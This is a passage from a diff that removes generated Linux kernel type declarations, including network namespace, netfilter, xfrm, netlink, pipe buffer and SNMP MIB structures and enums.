seg6_pernet_data; - -struct ioam6_pernet_data; - -struct netns_ipv6 { - struct dst_ops ip6_dst_ops; - struct netns_sysctl_ipv6 sysctl; - struct ipv6_devconf *devconf_all; - struct ipv6_devconf *devconf_dflt; - struct inet_peer_base *peers; - struct fqdir *fqdir; - struct fib6_info *fib6_null_entry; - struct rt6_info *ip6_null_entry; - struct rt6_statistics *rt6_stats; - struct timer_list ip6_fib_timer; - struct hlist_head *fib_table_hash; - struct fib6_table *fib6_main_tbl; - struct list_head fib6_walkers; - rwlock_t fib6_walker_lock; - spinlock_t fib6_gc_lock; - atomic_t ip6_rt_gc_expire; - long unsigned int ip6_rt_last_gc; - unsigned char flowlabel_has_excl; - bool fib6_has_custom_rules; - unsigned int fib6_rules_require_fldissect; - unsigned int fib6_routes_require_src; - struct rt6_info *ip6_prohibit_entry; - struct rt6_info *ip6_blk_hole_entry; - struct fib6_table *fib6_local_tbl; - struct fib_rules_ops *fib6_rules_ops; - struct sock *ndisc_sk; - struct sock *tcp_sk; - struct sock *igmp_sk; - struct sock *mc_autojoin_sk; - struct hlist_head *inet6_addr_lst; - spinlock_t addrconf_hash_lock; - struct delayed_work addr_chk_work; - atomic_t dev_addr_genid; - atomic_t fib6_sernum; - struct seg6_pernet_data *seg6_data; - struct fib_notifier_ops *notifier_ops; - struct fib_notifier_ops *ip6mr_notifier_ops; - unsigned int ipmr_seq; - struct { - struct hlist_head head; - spinlock_t lock; - u32 seq; - } ip6addrlbl_table; - struct ioam6_pernet_data *ioam6_data; - long: 64; - long: 64; -}; - -struct nf_logger; - -struct nf_hook_entries; - -struct netns_nf { - struct proc_dir_entry *proc_netfilter; - const struct nf_logger *nf_loggers[11]; - struct ctl_table_header *nf_log_dir_header; - struct nf_hook_entries *hooks_ipv4[5]; - struct nf_hook_entries *hooks_ipv6[5]; - unsigned int defrag_ipv4_users; - unsigned int defrag_ipv6_users; -}; - -struct nf_ct_event_notifier; - -struct nf_generic_net { - unsigned int timeout; -}; - -struct nf_tcp_net { - unsigned int timeouts[14]; - u8 tcp_loose; - u8 tcp_be_liberal; - u8 tcp_max_retrans; - u8 tcp_ignore_invalid_rst; -}; - -struct nf_udp_net { - unsigned int timeouts[2]; -}; - -struct nf_icmp_net { - unsigned int timeout; -}; - -struct nf_dccp_net { - u8 dccp_loose; - unsigned int dccp_timeout[10]; -}; - -struct nf_sctp_net { - unsigned int timeouts[10]; -}; - -struct nf_ip_net { - struct nf_generic_net generic; - struct nf_tcp_net tcp; - struct nf_udp_net udp; - struct nf_icmp_net icmp; - struct nf_icmp_net icmpv6; - struct nf_dccp_net dccp; - struct nf_sctp_net sctp; -}; - -struct ip_conntrack_stat; - -struct netns_ct { - u8 sysctl_log_invalid; - u8 sysctl_events; - u8 sysctl_acct; - u8 sysctl_tstamp; - u8 sysctl_checksum; - struct ip_conntrack_stat *stat; - struct nf_ct_event_notifier *nf_conntrack_event_cb; - struct nf_ip_net nf_ct_proto; -}; - -struct netns_bpf { - struct bpf_prog_array *run_array[2]; - struct bpf_prog *progs[2]; - struct list_head links[2]; -}; - -struct xfrm_policy_hash { - struct hlist_head *table; - unsigned int hmask; - u8 dbits4; - u8 sbits4; - u8 dbits6; - u8 sbits6; -}; - -struct xfrm_policy_hthresh { - struct work_struct work; - seqlock_t lock; - u8 lbits4; - u8 rbits4; - u8 lbits6; - u8 rbits6; -}; - -struct netns_xfrm { - struct list_head state_all; - struct hlist_head *state_bydst; - struct hlist_head *state_bysrc; - struct hlist_head *state_byspi; - struct hlist_head *state_byseq; - unsigned int state_hmask; - unsigned int state_num; - struct work_struct state_hash_work; - struct list_head policy_all; - struct hlist_head *policy_byidx; - unsigned int policy_idx_hmask; - struct hlist_head policy_inexact[3]; - struct xfrm_policy_hash policy_bydst[3]; - unsigned int policy_count[6]; - struct work_struct policy_hash_work; - struct xfrm_policy_hthresh policy_hthresh; - struct list_head inexact_bins; - struct sock *nlsk; - struct sock *nlsk_stash; - u32 sysctl_aevent_etime; - u32 sysctl_aevent_rseqth; - int sysctl_larval_drop; - u32 sysctl_acq_expires; - u8 policy_default[3]; - struct ctl_table_header *sysctl_hdr; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct dst_ops xfrm4_dst_ops; - struct dst_ops xfrm6_dst_ops; - spinlock_t xfrm_state_lock; - seqcount_spinlock_t xfrm_state_hash_generation; - seqcount_spinlock_t xfrm_policy_hash_generation; - spinlock_t xfrm_policy_lock; - struct mutex xfrm_cfg_mutex; -}; - -struct mpls_route; - -struct netns_mpls { - int ip_ttl_propagate; - int default_ttl; - size_t platform_labels; - struct mpls_route **platform_label; - struct ctl_table_header *ctl; -}; - -struct netns_xdp { - struct mutex lock; - struct hlist_head list; -}; - -struct uevent_sock; - -struct net_generic; - -struct net { - refcount_t passive; - spinlock_t rules_mod_lock; - atomic_t dev_unreg_count; - unsigned int dev_base_seq; - int ifindex; - spinlock_t nsid_lock; - atomic_t fnhe_genid; - struct list_head list; - struct list_head exit_list; - struct llist_node cleanup_list; - struct key_tag *key_domain; - struct user_namespace *user_ns; - struct ucounts *ucounts; - struct idr netns_ids; - struct ns_common ns; - struct ref_tracker_dir refcnt_tracker; - struct ref_tracker_dir notrefcnt_tracker; - struct list_head dev_base_head; - struct proc_dir_entry *proc_net; - struct proc_dir_entry *proc_net_stat; - struct ctl_table_set sysctls; - struct sock *rtnl; - struct sock *genl_sock; - struct uevent_sock *uevent_sock; - struct hlist_head *dev_name_head; - struct hlist_head *dev_index_head; - struct raw_notifier_head netdev_chain; - u32 hash_mix; - struct net_device *loopback_dev; - struct list_head rules_ops; - struct netns_core core; - struct netns_mib mib; - struct netns_packet packet; - struct netns_unix unx; - struct netns_nexthop nexthop; - long: 64; - long: 64; - long: 64; - long: 64; - struct netns_ipv4 ipv4; - struct netns_ipv6 ipv6; - struct netns_nf nf; - struct netns_ct ct; - struct net_generic *gen; - struct netns_bpf bpf; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct netns_xfrm xfrm; - u64 net_cookie; - struct netns_mpls mpls; - struct netns_xdp xdp; - struct sock *diag_nlsk; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct in6_addr { - union { - __u8 u6_addr8[16]; - __be16 u6_addr16[8]; - __be32 u6_addr32[4]; - } in6_u; -}; - -struct pipe_buf_operations; - -struct pipe_buffer { - struct page *page; - unsigned int offset; - unsigned int len; - const struct pipe_buf_operations *ops; - unsigned int flags; - long unsigned int private; -}; - -struct pipe_buf_operations { - int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); - void (*release)(struct pipe_inode_info *, struct pipe_buffer *); - bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *); - bool (*get)(struct pipe_inode_info *, struct pipe_buffer *); -}; - -struct ip_conntrack_stat { - unsigned int found; - unsigned int invalid; - unsigned int insert; - unsigned int insert_failed; - unsigned int clash_resolve; - unsigned int drop; - unsigned int early_drop; - unsigned int error; - unsigned int expect_new; - unsigned int expect_create; - unsigned int expect_delete; - unsigned int search_restart; - unsigned int chaintoolong; -}; - -enum skb_drop_reason { - SKB_NOT_DROPPED_YET = 0, - SKB_CONSUMED = 1, - SKB_DROP_REASON_NOT_SPECIFIED = 2, - SKB_DROP_REASON_NO_SOCKET = 3, - SKB_DROP_REASON_PKT_TOO_SMALL = 4, - SKB_DROP_REASON_TCP_CSUM = 5, - SKB_DROP_REASON_SOCKET_FILTER = 6, - SKB_DROP_REASON_UDP_CSUM = 7, - SKB_DROP_REASON_NETFILTER_DROP = 8, - SKB_DROP_REASON_OTHERHOST = 9, - SKB_DROP_REASON_IP_CSUM = 10, - SKB_DROP_REASON_IP_INHDR = 11, - SKB_DROP_REASON_IP_RPFILTER = 12, - SKB_DROP_REASON_UNICAST_IN_L2_MULTICAST = 13, - SKB_DROP_REASON_XFRM_POLICY = 14, - SKB_DROP_REASON_IP_NOPROTO = 15, - SKB_DROP_REASON_SOCKET_RCVBUFF = 16, - SKB_DROP_REASON_PROTO_MEM = 17, - SKB_DROP_REASON_TCP_MD5NOTFOUND = 18, - SKB_DROP_REASON_TCP_MD5UNEXPECTED = 19, - SKB_DROP_REASON_TCP_MD5FAILURE = 20, - SKB_DROP_REASON_SOCKET_BACKLOG = 21, - SKB_DROP_REASON_TCP_FLAGS = 22, - SKB_DROP_REASON_TCP_ZEROWINDOW = 23, - SKB_DROP_REASON_TCP_OLD_DATA = 24, - SKB_DROP_REASON_TCP_OVERWINDOW = 25, - SKB_DROP_REASON_TCP_OFOMERGE = 26, - SKB_DROP_REASON_TCP_RFC7323_PAWS = 27, - SKB_DROP_REASON_TCP_INVALID_SEQUENCE = 28, - SKB_DROP_REASON_TCP_RESET = 29, - SKB_DROP_REASON_TCP_INVALID_SYN = 30, - SKB_DROP_REASON_TCP_CLOSE = 31, - SKB_DROP_REASON_TCP_FASTOPEN = 32, - SKB_DROP_REASON_TCP_OLD_ACK = 33, - SKB_DROP_REASON_TCP_TOO_OLD_ACK = 34, - SKB_DROP_REASON_TCP_ACK_UNSENT_DATA = 35, - SKB_DROP_REASON_TCP_OFO_QUEUE_PRUNE = 36, - SKB_DROP_REASON_TCP_OFO_DROP = 37, - SKB_DROP_REASON_IP_OUTNOROUTES = 38, - SKB_DROP_REASON_BPF_CGROUP_EGRESS = 39, - SKB_DROP_REASON_IPV6DISABLED = 40, - SKB_DROP_REASON_NEIGH_CREATEFAIL = 41, - SKB_DROP_REASON_NEIGH_FAILED = 42, - SKB_DROP_REASON_NEIGH_QUEUEFULL = 43, - SKB_DROP_REASON_NEIGH_DEAD = 44, - SKB_DROP_REASON_TC_EGRESS = 45, - SKB_DROP_REASON_QDISC_DROP = 46, - SKB_DROP_REASON_CPU_BACKLOG = 47, - SKB_DROP_REASON_XDP = 48, - SKB_DROP_REASON_TC_INGRESS = 49, - SKB_DROP_REASON_UNHANDLED_PROTO = 50, - SKB_DROP_REASON_SKB_CSUM = 51, - SKB_DROP_REASON_SKB_GSO_SEG = 52, - SKB_DROP_REASON_SKB_UCOPY_FAULT = 53, - SKB_DROP_REASON_DEV_HDR = 54, - SKB_DROP_REASON_DEV_READY = 55, - SKB_DROP_REASON_FULL_RING = 56, - SKB_DROP_REASON_NOMEM = 57, - SKB_DROP_REASON_HDR_TRUNC = 58, - SKB_DROP_REASON_TAP_FILTER = 59, - SKB_DROP_REASON_TAP_TXFILTER = 60, - SKB_DROP_REASON_ICMP_CSUM = 61, - SKB_DROP_REASON_INVALID_PROTO = 62, - SKB_DROP_REASON_IP_INADDRERRORS = 63, - SKB_DROP_REASON_IP_INNOROUTES = 64, - SKB_DROP_REASON_PKT_TOO_BIG = 65, - SKB_DROP_REASON_DUP_FRAG = 66, - SKB_DROP_REASON_FRAG_REASM_TIMEOUT = 67, - SKB_DROP_REASON_FRAG_TOO_FAR = 68, - SKB_DROP_REASON_MAX = 69, -}; - -struct skb_ext { - refcount_t refcnt; - u8 offset[3]; - u8 chunks; - char data[0]; -}; - -struct scm_creds { - u32 pid; - kuid_t uid; - kgid_t gid; -}; - -struct nlmsghdr { - __u32 nlmsg_len; - __u16 nlmsg_type; - __u16 nlmsg_flags; - __u32 nlmsg_seq; - __u32 nlmsg_pid; -}; - -struct nlattr { - __u16 nla_len; - __u16 nla_type; -}; - -struct netlink_skb_parms { - struct scm_creds creds; - __u32 portid; - __u32 dst_group; - __u32 flags; - struct sock *sk; - bool nsid_is_set; - int nsid; -}; - -struct nla_policy; - -struct netlink_ext_ack { - const char *_msg; - const struct nlattr *bad_attr; - const struct nla_policy *policy; - const struct nlattr *miss_nest; - u16 miss_type; - u8 cookie[20]; - u8 cookie_len; - char _msg_buf[80]; -}; - -struct netlink_range_validation; - -struct netlink_range_validation_signed; - -struct nla_policy { - u8 type; - u8 validation_type; - u16 len; - union { - u16 strict_start_type; - const u32 bitfield32_valid; - const u32 mask; - const char *reject_message; - const struct nla_policy *nested_policy; - struct netlink_range_validation *range; - struct netlink_range_validation_signed *range_signed; - struct { - s16 min; - s16 max; - }; - int (*validate)(const struct nlattr *, struct netlink_ext_ack *); - }; -}; - -struct netlink_callback { - struct sk_buff *skb; - const struct nlmsghdr *nlh; - int (*dump)(struct sk_buff *, struct netlink_callback *); - int (*done)(struct netlink_callback *); - void *data; - struct module *module; - struct netlink_ext_ack *extack; - u16 family; - u16 answer_flags; - u32 min_dump_alloc; - unsigned int prev_seq; - unsigned int seq; - bool strict_check; - union { - u8 ctx[48]; - long int args[6]; - }; -}; - -struct netlink_range_validation { - u64 min; - u64 max; -}; - -struct netlink_range_validation_signed { - s64 min; - s64 max; -}; - -struct genlmsghdr { - __u8 cmd; - __u8 version; - __u16 reserved; -}; - -enum { - IPSTATS_MIB_NUM = 0, - IPSTATS_MIB_INPKTS = 1, - IPSTATS_MIB_INOCTETS = 2, - IPSTATS_MIB_INDELIVERS = 3, - IPSTATS_MIB_OUTFORWDATAGRAMS = 4, - IPSTATS_MIB_OUTPKTS = 5, - IPSTATS_MIB_OUTOCTETS = 6, - IPSTATS_MIB_INHDRERRORS = 7, - IPSTATS_MIB_INTOOBIGERRORS = 8, - IPSTATS_MIB_INNOROUTES = 9, - IPSTATS_MIB_INADDRERRORS = 10, - IPSTATS_MIB_INUNKNOWNPROTOS = 11, - IPSTATS_MIB_INTRUNCATEDPKTS = 12, - IPSTATS_MIB_INDISCARDS = 13, - IPSTATS_MIB_OUTDISCARDS = 14, - IPSTATS_MIB_OUTNOROUTES = 15, - IPSTATS_MIB_REASMTIMEOUT = 16, - IPSTATS_MIB_REASMREQDS = 17, - IPSTATS_MIB_REASMOKS = 18, - IPSTATS_MIB_REASMFAILS = 19, - IPSTATS_MIB_FRAGOKS = 20, - IPSTATS_MIB_FRAGFAILS = 21, - IPSTATS_MIB_FRAGCREATES = 22, - IPSTATS_MIB_INMCASTPKTS = 23, - IPSTATS_MIB_OUTMCASTPKTS = 24, - IPSTATS_MIB_INBCASTPKTS = 25, - IPSTATS_MIB_OUTBCASTPKTS = 26, - IPSTATS_MIB_INMCASTOCTETS = 27, - IPSTATS_MIB_OUTMCASTOCTETS = 28, - IPSTATS_MIB_INBCASTOCTETS = 29, - IPSTATS_MIB_OUTBCASTOCTETS = 30, - IPSTATS_MIB_CSUMERRORS = 31, - IPSTATS_MIB_NOECTPKTS = 32, - IPSTATS_MIB_ECT1PKTS = 33, - IPSTATS_MIB_ECT0PKTS = 34, - IPSTATS_MIB_CEPKTS = 35, - IPSTATS_MIB_REASM_OVERLAPS = 36, - __IPSTATS_MIB_MAX = 37, -}; - -enum { - ICMP_MIB_NUM = 0, - ICMP_MIB_INMSGS = 1, - ICMP_MIB_INERRORS = 2, - ICMP_MIB_INDESTUNREACHS = 3, - ICMP_MIB_INTIMEEXCDS = 4, - ICMP_MIB_INPARMPROBS = 5, - ICMP_MIB_INSRCQUENCHS = 6, - ICMP_MIB_INREDIRECTS = 7, - ICMP_MIB_INECHOS = 8, - ICMP_MIB_INECHOREPS = 9, - ICMP_MIB_INTIMESTAMPS = 10, - ICMP_MIB_INTIMESTAMPREPS = 11, - ICMP_MIB_INADDRMASKS = 12, - ICMP_MIB_INADDRMASKREPS = 13, - ICMP_MIB_OUTMSGS = 14, - ICMP_MIB_OUTERRORS = 15, - ICMP_MIB_OUTDESTUNREACHS = 16, - ICMP_MIB_OUTTIMEEXCDS = 17, - ICMP_MIB_OUTPARMPROBS = 18, - ICMP_MIB_OUTSRCQUENCHS = 19, - ICMP_MIB_OUTREDIRECTS = 20, - ICMP_MIB_OUTECHOS = 21, - ICMP_MIB_OUTECHOREPS = 22, - ICMP_MIB_OUTTIMESTAMPS = 23, - ICMP_MIB_OUTTIMESTAMPREPS = 24, - ICMP_MIB_OUTADDRMASKS = 25, - ICMP_MIB_OUTADDRMASKREPS = 26, - ICMP_MIB_CSUMERRORS = 27, - __ICMP_MIB_MAX = 28, -}; - -enum { - ICMP6_MIB_NUM = 0, - ICMP6_MIB_INMSGS = 1, - ICMP6_MIB_INERRORS = 2, - ICMP6_MIB_OUTMSGS = 3, - ICMP6_MIB_OUTERRORS = 4, - ICMP6_MIB_CSUMERRORS = 5, - __ICMP6_MIB_MAX = 6, -}; - -enum { - TCP_MIB_NUM = 0, - TCP_MIB_RTOALGORITHM = 1, - TCP_MIB_RTOMIN = 2, - TCP_MIB_RTOMAX = 3, - TCP_MIB_MAXCONN = 4, - TCP_MIB_ACTIVEOPENS = 5, - TCP_MIB_PASSIVEOPENS = 6, - TCP_MIB_ATTEMPTFAILS = 7, - TCP_MIB_ESTABRESETS = 8, - TCP_MIB_CURRESTAB = 9, - TCP_MIB_INSEGS = 10, - TCP_MIB_OUTSEGS = 11, - TCP_MIB_RETRANSSEGS = 12, - TCP_MIB_INERRS = 13, - TCP_MIB_OUTRSTS = 14, - TCP_MIB_CSUMERRORS = 15, - __TCP_MIB_MAX = 16, -}; - -enum { - UDP_MIB_NUM = 0, - UDP_MIB_INDATAGRAMS = 1, - UDP_MIB_NOPORTS = 2, - UDP_MIB_INERRORS = 3, - UDP_MIB_OUTDATAGRAMS = 4, - UDP_MIB_RCVBUFERRORS = 5, - UDP_MIB_SNDBUFERRORS = 6, - UDP_MIB_CSUMERRORS = 7, - UDP_MIB_IGNOREDMULTI = 8, - UDP_MIB_MEMERRORS = 9, - __UDP_MIB_MAX = 10, -}; - -enum { - LINUX_MIB_NUM = 0, - LINUX_MIB_SYNCOOKIESSENT = 1, - LINUX_MIB_SYNCOOKIESRECV = 2, - LINUX_MIB_SYNCOOKIESFAILED = 3, - LINUX_MIB_EMBRYONICRSTS = 4, - LINUX_MIB_PRUNECALLED = 5, - LINUX_MIB_RCVPRUNED = 6, - LINUX_MIB_OFOPRUNED = 7, - LINUX_MIB_OUTOFWINDOWICMPS = 8, - LINUX_MIB_LOCKDROPPEDICMPS = 9, - LINUX_MIB_ARPFILTER = 10, - LINUX_MIB_TIMEWAITED = 11, - LINUX_MIB_TIMEWAITRECYCLED = 12, - LINUX_MIB_TIMEWAITKILLED = 13, - LINUX_MIB_PAWSACTIVEREJECTED = 14, - LINUX_MIB_PAWSESTABREJECTED = 15, - LINUX_MIB_DELAYEDACKS = 16, - LINUX_MIB_DELAYEDACKLOCKED = 17, - LINUX_MIB_DELAYEDACKLOST = 18, - LINUX_MIB_LISTENOVERFLOWS = 19, - LINUX_MIB_LISTENDROPS = 20, - LINUX_MIB_TCPHPHITS = 21, - LINUX_MIB_TCPPUREACKS = 22, - LINUX_MIB_TCPHPACKS = 23, - LINUX_MIB_TCPRENORECOVERY = 24, - LINUX_MIB_TCPSACKRECOVERY = 25, - LINUX_MIB_TCPSACKRENEGING = 26, - LINUX_MIB_TCPSACKREORDER = 27, - LINUX_MIB_TCPRENOREORDER = 28, - LINUX_MIB_TCPTSREORDER = 29, - LINUX_MIB_TCPFULLUNDO = 30, - LINUX_MIB_TCPPARTIALUNDO = 31, - LINUX_MIB_TCPDSACKUNDO = 32, - LINUX_MIB_TCPLOSSUNDO = 33, - LINUX_MIB_TCPLOSTRETRANSMIT = 34, - LINUX_MIB_TCPRENOFAILURES = 35, - LINUX_MIB_TCPSACKFAILURES = 36, - LINUX_MIB_TCPLOSSFAILURES = 37, - LINUX_MIB_TCPFASTRETRANS = 38, - LINUX_MIB_TCPSLOWSTARTRETRANS = 39, - LINUX_MIB_TCPTIMEOUTS = 40, - LINUX_MIB_TCPLOSSPROBES = 41, - LINUX_MIB_TCPLOSSPROBERECOVERY = 42, - LINUX_MIB_TCPRENORECOVERYFAIL = 43, - LINUX_MIB_TCPSACKRECOVERYFAIL = 44, - LINUX_MIB_TCPRCVCOLLAPSED = 45, - LINUX_MIB_TCPDSACKOLDSENT = 46, - LINUX_MIB_TCPDSACKOFOSENT = 47, - LINUX_MIB_TCPDSACKRECV = 48, - LINUX_MIB_TCPDSACKOFORECV = 49, - LINUX_MIB_TCPABORTONDATA = 50, - LINUX_MIB_TCPABORTONCLOSE = 51, - LINUX_MIB_TCPABORTONMEMORY = 52, - LINUX_MIB_TCPABORTONTIMEOUT = 53, - LINUX_MIB_TCPABORTONLINGER = 54, - LINUX_MIB_TCPABORTFAILED = 55, - LINUX_MIB_TCPMEMORYPRESSURES = 56, - LINUX_MIB_TCPMEMORYPRESSURESCHRONO = 57, - LINUX_MIB_TCPSACKDISCARD = 58, - LINUX_MIB_TCPDSACKIGNOREDOLD = 59, - LINUX_MIB_TCPDSACKIGNOREDNOUNDO = 60, - LINUX_MIB_TCPSPURIOUSRTOS = 61, - LINUX_MIB_TCPMD5NOTFOUND = 62, - LINUX_MIB_TCPMD5UNEXPECTED = 63, - LINUX_MIB_TCPMD5FAILURE = 64, - LINUX_MIB_SACKSHIFTED = 65, - LINUX_MIB_SACKMERGED = 66, - LINUX_MIB_SACKSHIFTFALLBACK = 67, - LINUX_MIB_TCPBACKLOGDROP = 68, - LINUX_MIB_PFMEMALLOCDROP = 69, - LINUX_MIB_TCPMINTTLDROP = 70, - LINUX_MIB_TCPDEFERACCEPTDROP = 71, - LINUX_MIB_IPRPFILTER = 72, - LINUX_MIB_TCPTIMEWAITOVERFLOW = 73, - LINUX_MIB_TCPREQQFULLDOCOOKIES = 74, - LINUX_MIB_TCPREQQFULLDROP = 75, - LINUX_MIB_TCPRETRANSFAIL = 76, - LINUX_MIB_TCPRCVCOALESCE = 77, - LINUX_MIB_TCPBACKLOGCOALESCE = 78, - LINUX_MIB_TCPOFOQUEUE = 79, - LINUX_MIB_TCPOFODROP = 80, - LINUX_MIB_TCPOFOMERGE = 81, - LINUX_MIB_TCPCHALLENGEACK = 82, - LINUX_MIB_TCPSYNCHALLENGE = 83, - LINUX_MIB_TCPFASTOPENACTIVE = 84, - LINUX_MIB_TCPFASTOPENACTIVEFAIL = 85, - LINUX_MIB_TCPFASTOPENPASSIVE = 86, - LINUX_MIB_TCPFASTOPENPASSIVEFAIL = 87, - LINUX_MIB_TCPFASTOPENLISTENOVERFLOW = 88, - LINUX_MIB_TCPFASTOPENCOOKIEREQD = 89, - LINUX_MIB_TCPFASTOPENBLACKHOLE = 90, - LINUX_MIB_TCPSPURIOUS_RTX_HOSTQUEUES = 91, - LINUX_MIB_BUSYPOLLRXPACKETS = 92, - LINUX_MIB_TCPAUTOCORKING = 93, - LINUX_MIB_TCPFROMZEROWINDOWADV = 94, - LINUX_MIB_TCPTOZEROWINDOWADV = 95, - LINUX_MIB_TCPWANTZEROWINDOWADV = 96, - LINUX_MIB_TCPSYNRETRANS = 97, - LINUX_MIB_TCPORIGDATASENT = 98, - LINUX_MIB_TCPHYSTARTTRAINDETECT = 99, - LINUX_MIB_TCPHYSTARTTRAINCWND = 100, - LINUX_MIB_TCPHYSTARTDELAYDETECT = 101, - LINUX_MIB_TCPHYSTARTDELAYCWND = 102, - LINUX_MIB_TCPACKSKIPPEDSYNRECV = 103, - LINUX_MIB_TCPACKSKIPPEDPAWS = 104, - LINUX_MIB_TCPACKSKIPPEDSEQ = 105, - LINUX_MIB_TCPACKSKIPPEDFINWAIT2 = 106, - LINUX_MIB_TCPACKSKIPPEDTIMEWAIT = 107, - LINUX_MIB_TCPACKSKIPPEDCHALLENGE = 108, - LINUX_MIB_TCPWINPROBE = 109, - LINUX_MIB_TCPKEEPALIVE = 110, - LINUX_MIB_TCPMTUPFAIL = 111, - LINUX_MIB_TCPMTUPSUCCESS = 112, - LINUX_MIB_TCPDELIVERED = 113, - LINUX_MIB_TCPDELIVEREDCE = 114, - LINUX_MIB_TCPACKCOMPRESSED = 115, - LINUX_MIB_TCPZEROWINDOWDROP = 116, - LINUX_MIB_TCPRCVQDROP = 117, - LINUX_MIB_TCPWQUEUETOOBIG = 118, - LINUX_MIB_TCPFASTOPENPASSIVEALTKEY = 119, - LINUX_MIB_TCPTIMEOUTREHASH = 120, - LINUX_MIB_TCPDUPLICATEDATAREHASH = 121, - LINUX_MIB_TCPDSACKRECVSEGS = 122, - LINUX_MIB_TCPDSACKIGNOREDDUBIOUS = 123, - LINUX_MIB_TCPMIGRATEREQSUCCESS = 124, - LINUX_MIB_TCPMIGRATEREQFAILURE = 125, - LINUX_MIB_TCPPLBREHASH = 126, - __LINUX_MIB_MAX = 127, -}; - -enum { - LINUX_MIB_XFRMNUM = 0, - LINUX_MIB_XFRMINERROR = 1, - LINUX_MIB_XFRMINBUFFERERROR = 2, - LINUX_MIB_XFRMINHDRERROR = 3, - LINUX_MIB_XFRMINNOSTATES = 4, - LINUX_MIB_XFRMINSTATEPROTOERROR = 5, - LINUX_MIB_XFRMINSTATEMODEERROR = 6, - LINUX_MIB_XFRMINSTATESEQERROR = 7, - LINUX_MIB_XFRMINSTATEEXPIRED = 8, - LINUX_MIB_XFRMINSTATEMISMATCH = 9, - LINUX_MIB_XFRMINSTATEINVALID = 10, - LINUX_MIB_XFRMINTMPLMISMATCH = 11, - LINUX_MIB_XFRMINNOPOLS = 12, - LINUX_MIB_XFRMINPOLBLOCK = 13, - LINUX_MIB_XFRMINPOLERROR = 14, - LINUX_MIB_XFRMOUTERROR = 15, - LINUX_MIB_XFRMOUTBUNDLEGENERROR = 16, - LINUX_MIB_XFRMOUTBUNDLECHECKERROR = 17, - LINUX_MIB_XFRMOUTNOSTATES = 18, - LINUX_MIB_XFRMOUTSTATEPROTOERROR = 19, - LINUX_MIB_XFRMOUTSTATEMODEERROR = 20, - LINUX_MIB_XFRMOUTSTATESEQERROR = 21, - LINUX_MIB_XFRMOUTSTATEEXPIRED = 22, - LINUX_MIB_XFRMOUTPOLBLOCK = 23, - LINUX_MIB_XFRMOUTPOLDEAD = 24, - LINUX_MIB_XFRMOUTPOLERROR = 25, - LINUX_MIB_XFRMFWDHDRERROR = 26, - LINUX_MIB_XFRMOUTSTATEINVALID = 27, - LINUX_MIB_XFRMACQUIREERROR = 28, - __LINUX_MIB_XFRMMAX = 29, -}; - -enum { - LINUX_MIB_TLSNUM = 0, - LINUX_MIB_TLSCURRTXSW = 1, - LINUX_MIB_TLSCURRRXSW = 2, - LINUX_MIB_TLSCURRTXDEVICE = 3, - LINUX_MIB_TLSCURRRXDEVICE = 4, - LINUX_MIB_TLSTXSW = 5, - LINUX_MIB_TLSRXSW = 6, - LINUX_MIB_TLSTXDEVICE = 7, - LINUX_MIB_TLSRXDEVICE = 8, - LINUX_MIB_TLSDECRYPTERROR = 9, - LINUX_MIB_TLSRXDEVICERESYNC = 10, - LINUX_MIB_TLSDECRYPTRETRY = 11, - LINUX_MIB_TLSRXNOPADVIOL = 12, - __LINUX_MIB_TLSMAX = 13, -}; - -struct ipstats_mib { - u64 mibs[37]; - struct u64_stats_sync syncp; -}; - -struct icmp_mib { - long unsigned int mibs[28]; -}; - -struct icmpmsg_mib { - atomic_long_t mibs[512]; -}; - -struct icmpv6_mib { - long unsigned int mibs[6]; -}; - -struct icmpv6msg_mib { - atomic_long_t mibs[512]; -}; - -struct tcp_mib { - long unsigned int mibs[16]; -}; - -struct udp_mib { - long unsigned int mibs[10]; -}; - -struct linux_mib { - long unsigned int mibs[127]; -}; - -struct linux_tls_mib { - long unsigned int mibs[13]; -}; - -struct inet_frags; - -struct fqdir { - long int high_thresh; - long int low_thresh; - int timeout; - int max_dist; - struct inet_frags *f; - struct net *net; - bool dead; - long: 64; - long: 64; - struct rhashtable rhashtable; - long: 64; - long: 64; - long: 64; - long: 64; - atomic_long_t mem; - struct work_struct destroy_work; - struct llist_node free_list; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct inet_frag_queue; - -struct inet_frags { - unsigned int qsize; - void (*constructor)(struct inet_frag_queue *, const void *); - void (*destructor)(struct inet_frag_queue *); - void (*frag_expire)(struct timer_list *); - struct kmem_cache *frags_cachep; - const char *frags_cache_name; - struct rhashtable_params rhash_params; - refcount_t refcnt; - struct completion completion; -}; - -struct frag_v4_compare_key { - __be32 saddr; - __be32 daddr; - u32 user; - u32 vif; - __be16 id; - u16 protocol; -}; - -struct frag_v6_compare_key { - struct in6_addr saddr; - struct in6_addr daddr; - u32 user; - __be32 id; - u32 iif; -}; - -struct inet_frag_queue { - struct rhash_head node; - union { - struct frag_v4_compare_key v4; - struct frag_v6_compare_key v6; - } key; - struct timer_list timer; - spinlock_t lock; - refcount_t refcnt; - struct rb_root rb_fragments; - struct sk_buff *fragments_tail; - struct sk_buff *last_run_head; - ktime_t stamp; - int len; - int meat; - u8 mono_delivery_time; - __u8 flags; - u16 max_size; - struct fqdir *fqdir; - struct callback_head rcu; -}; - -enum tcp_ca_event { - CA_EVENT_TX_START = 0, - CA_EVENT_CWND_RESTART = 1, - CA_EVENT_COMPLETE_CWR = 2, - CA_EVENT_LOSS = 3, - CA_EVENT_ECN_NO_CE = 4, - CA_EVENT_ECN_IS_CE = 5, -}; - -struct ack_sample; - -struct rate_sample; - -union tcp_cc_info; - -struct tcp_congestion_ops { - u32 (*ssthresh)(struct sock *); - void (*cong_avoid)(struct sock *, u32, u32); - void (*set_state)(struct sock *, u8); - void (*cwnd_event)(struct sock *, enum tcp_ca_event); - void (*in_ack_event)(struct sock *, u32); - void (*pkts_acked)(struct sock *, const struct ack_sample *); - u32 (*min_tso_segs)(struct sock *); - void (*cong_control)(struct sock *, const struct rate_sample *); - u32 (*undo_cwnd)(struct sock *); - u32 (*sndbuf_expand)(struct sock *); - size_t (*get_info)(struct sock *, u32, int *, union tcp_cc_info *); - char name[16]; - struct module *owner; - struct list_head list; - u32 key; - u32 flags; - void (*init)(struct sock *); - void (*release)(struct sock *); - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -typedef struct {} netdevice_tracker; - -struct xfrm_state; - -struct lwtunnel_state; - -struct dst_entry { - struct net_device *dev; - struct dst_ops 